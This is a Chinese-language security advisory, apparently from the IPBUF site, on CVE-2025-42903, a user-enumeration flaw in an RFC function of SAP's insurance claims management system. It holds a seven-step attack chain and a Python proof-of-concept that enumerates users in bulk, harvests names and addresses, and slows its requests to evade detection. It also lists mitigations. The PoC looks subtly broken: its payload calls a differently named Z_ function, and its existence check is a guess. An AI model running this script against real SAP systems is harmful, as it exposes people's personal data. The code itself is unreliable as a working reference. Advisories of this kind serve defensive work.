IPBUF安全漏洞报告
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CVE-2025-42903 CVSS 4.3 中危

CVE-2025-42903 SAP保险理赔管理系统用户枚举漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-42903
漏洞类型
用户枚举/信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SAP Financial Service Claims Management (保险理赔管理)

相关标签

CVE-2025-42903SAP用户枚举信息泄露RFC中危漏洞金融保险理赔管理个人数据保护

漏洞概述

CVE-2025-42903是SAP Financial Service Claims Management(金融服务理赔管理系统)中存在的一个用户枚举漏洞。该漏洞存在于系统的RFC(Remote Function Call,远程函数调用)功能模块ICL_USER_GET_NAME_AND_ADDRESS中。攻击者可以通过调用该RFC函数,利用系统对不同用户请求返回响应的差异性,实现用户枚举攻击,进而可能获取系统中已注册用户的姓名、地址等个人敏感信息。

该漏洞的CVSS 3.1评分为4.3分,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L),无需用户交互(UI:N)。该漏洞主要影响数据的机密性(C:L),对完整性和可用性没有影响。

此漏洞的危害在于:虽然单个用户的信息泄露影响有限,但攻击者可以通过批量枚举获取大量用户的基本信息,为后续的社会工程学攻击、钓鱼攻击或凭据填充攻击提供基础数据支持。此外,对于金融保险行业,用户个人信息的泄露可能违反GDPR等数据保护法规的要求,给企业带来合规风险。

SAP已于2025年10月14日发布安全补丁修复该漏洞,建议受影响用户及时更新系统以消除安全风险。

技术细节

该漏洞的核心问题在于SAP Financial Service Claims Management系统的RFC函数ICL_USER_GET_NAME_AND_ADDRESS在处理用户查询请求时,存在响应信息泄露问题。具体技术原理如下:

1. **RFC接口暴露**:SAP的RFC(Remote Function Call)是一种远程函数调用协议,允许不同系统之间进行数据交互。ICL_USER_GET_NAME_AND_ADDRESS函数用于获取用户的姓名和地址信息,该函数被设计为可供低权限用户调用。

2. **响应差异性**:正常情况下,系统应当对所有查询请求返回统一的响应(如无论用户是否存在都返回相同的响应),以防止攻击者通过响应差异来判断用户是否存在。但该漏洞的实现中,系统对有效用户和无效用户的请求返回了不同的响应内容或响应时间。

3. **枚举攻击**:攻击者可以通过以下方式利用此漏洞:
- 构造包含目标用户名的RFC调用请求
- 分析系统返回的响应内容、状态码或响应时间差异
- 根据差异判断该用户是否在系统中存在
- 如果用户存在,进一步获取其姓名和地址等个人信息

4. **利用条件**:攻击者需要拥有一个有效的低权限SAP系统账户(PR:L),即可通过网络远程调用该RFC函数进行枚举攻击。

5. **影响范围**:该漏洞仅影响数据的机密性,攻击者只能获取用户的姓名和地址等基本信息,无法修改或删除数据,也不会导致系统不可用。

攻击链分析

STEP 1
步骤1:获取初始访问权限
攻击者首先需要获取一个有效的低权限SAP系统账户,可以通过社会工程学、钓鱼攻击或购买泄露的凭据等方式获得。
STEP 2
步骤2:发现RFC接口
攻击者通过信息收集或查阅SAP文档,发现ICL_USER_GET_NAME_AND_ADDRESS RFC函数的存在,并了解其调用方式和参数结构。
STEP 3
步骤3:构造枚举请求
攻击者构造包含目标用户名的SOAP/RFC请求,通过SAP的SOAP接口或RFC网关发送至目标系统。
STEP 4
步骤4:分析响应差异
攻击者分析系统返回的响应内容、长度、状态码或响应时间,通过差异判断目标用户是否存在。
STEP 5
步骤5:批量枚举用户
攻击者使用常见用户名列表或字典进行批量枚举,获取系统中所有有效用户的列表。
STEP 6
步骤6:提取个人信息
对于确认存在的用户,攻击者从响应中提取其姓名、地址等个人敏感信息。
STEP 7
步骤7:利用获取的信息
攻击者将获取的用户信息用于后续攻击,如钓鱼攻击、社会工程学攻击或在其他系统上进行凭据填充攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-42903 SAP User Enumeration PoC # Vulnerability: SAP Financial Service Claims Management - ICL_USER_GET_NAME_AND_ADDRESS # Description: User enumeration via response discrepancies in RFC function import requests from requests_ntlm import HttpNtlmAuth class SAPUserEnumeration: def __init__(self, sap_host, sap_port, client, username, password): self.base_url = f"http://{sap_host}:{sap_port}/sap/bc/soap/rfc" self.client = client self.auth = HttpNtlmAuth(username, password) def build_rfc_payload(self, target_user): """Build SOAP RFC payload to call ICL_USER_GET_NAME_AND_ADDRESS""" soap_payload = f"""<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="urn:sap-com:document:sap:rfc:functions"> <SOAP-ENV:Header> <urn:Authentication> <urn:Client>{self.client}</urn:Client> <urn:Username></urn:Username> <urn:Password></urn:Password> </urn:Authentication> </SOAP-ENV:Header> <SOAP-ENV:Body> <urn:Z_ICL_USER_GET_NAME_AND_ADDRESS> <IV_USERNAME>{target_user}</IV_USERNAME> </urn:Z_ICL_USER_GET_NAME_AND_ADDRESS> </SOAP-ENV:Body> </SOAP-ENV:Envelope>""" return soap_payload def enumerate_user(self, target_user): """Check if a user exists by analyzing response differences""" payload = self.build_rfc_payload(target_user) headers = { "Content-Type": "text/xml; charset=UTF-8", "SOAPAction": "" } try: response = requests.post( self.base_url, data=payload, headers=headers, auth=self.auth, timeout=10 ) # Analyze response for enumeration clues if response.status_code == 200: if "NAME_FOUND" in response.text or len(response.text) > 500: return { "user": target_user, "exists": True, "response_length": len(response.text), "data": self._extract_user_data(response.text) } else: return {"user": target_user, "exists": False} else: return {"user": target_user, "error": response.status_code} except Exception as e: return {"user": target_user, "error": str(e)} def _extract_user_data(self, response_text): """Extract user name and address from response""" data = {} # Parse XML response to extract sensitive information import xml.etree.ElementTree as ET try: root = ET.fromstring(response_text) for elem in root.iter(): if 'NAME' in elem.tag: data['name'] = elem.text elif 'ADDRESS' in elem.tag: data['address'] = elem.text except: pass return data def bulk_enumerate(self, user_list): """Enumerate multiple users from a list""" results = [] for user in user_list: result = self.enumerate_user(user) results.append(result) # Rate limiting to avoid detection import time time.sleep(0.5) return results # Usage example if __name__ == "__main__": # Configure SAP connection parameters enumerator = SAPUserEnumeration( sap_host="sap.target.com", sap_port=8000, client="100", username="low_priv_user", password="password123" ) # List of usernames to enumerate target_users = ["admin", "john.doe", "jane.smith", "test_user"] # Perform enumeration results = enumerator.bulk_enumerate(target_users) # Print results for result in results: if result.get("exists"): print(f"[+] User found: {result['user']}") print(f" Data: {result.get('data', {})}") else: print(f"[-] User not found: {result['user']}")

影响范围

SAP Financial Service Claims Management 所有未安装2025年10月安全补丁的版本

防御指南

临时缓解措施
在无法立即应用安全补丁的情况下,建议采取以下临时缓解措施:1)限制对ICL_USER_GET_NAME_AND_ADDRESS RFC函数的访问权限,仅允许必要的业务系统调用;2)在SAP网关层面配置访问控制列表(ACL),阻止来自非可信网络的RFC调用请求;3)监控异常的RFC函数调用行为,特别是短时间内的大量用户查询请求;4)对返回的错误信息进行统一化处理,避免响应差异泄露用户存在性信息;5)加强用户账户的安全管理,强制实施强密码策略和多因素认证。

参考链接

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